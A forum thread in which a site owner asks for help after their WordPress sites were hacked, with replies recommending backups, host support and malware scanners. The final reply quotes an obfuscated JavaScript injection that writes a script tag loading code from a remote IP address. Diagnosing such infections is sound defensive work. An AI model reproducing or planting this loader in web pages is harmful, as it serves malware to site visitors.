please help! all my websites hacked!!

all my websites have same problem not loading!

i know someone hacked my websites few days ago all my traffic was redirecting to porn sites, problem was at htaccess.
and today my website not loading

examble: http://smediatricks.com/instagram/

or when i try to download my site chrome block it!
i recive msg from google chrome file is dangerous, so chrome hac blocked it!

immediately contact hosting provider and ask to restore backup data from working date, just call them. then do a virus scan on server and delete infected files. i had this many many times no drama.

Its probably the same wp vulnerability that affected millions of websites.

Contact your hosting provider and see if they can offer you help in restoring or fixing your websites.

virtualpurity said:

storing

Click to expand...

Is posible to restore manually? im talking with hostwinds support but they told me to open ticked and im not sure when they will restore my websites!

That's what hostwind says:

So you 1 click away with data restore, just look into control panel closely.

Securi say the site is infected with malware: https://sitecheck.sucuri.net/results/smediatricks.com/instagram/

This happened with me, but cleaned the site at an early stage when it was redirecting visitors to other sites. The WordFence plugin was a good tool to find infected theme/plugin files. Securi also shows where the suspicious script appears on the fronted.

Hope you get it sorted.

I'm no expert, but this part var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));

Is part of your problem, you can see this simply by viewing the source of your website. A quick Google search of var _0xaae8=["","\x6A\x6F\x69\x6E will give you a clue.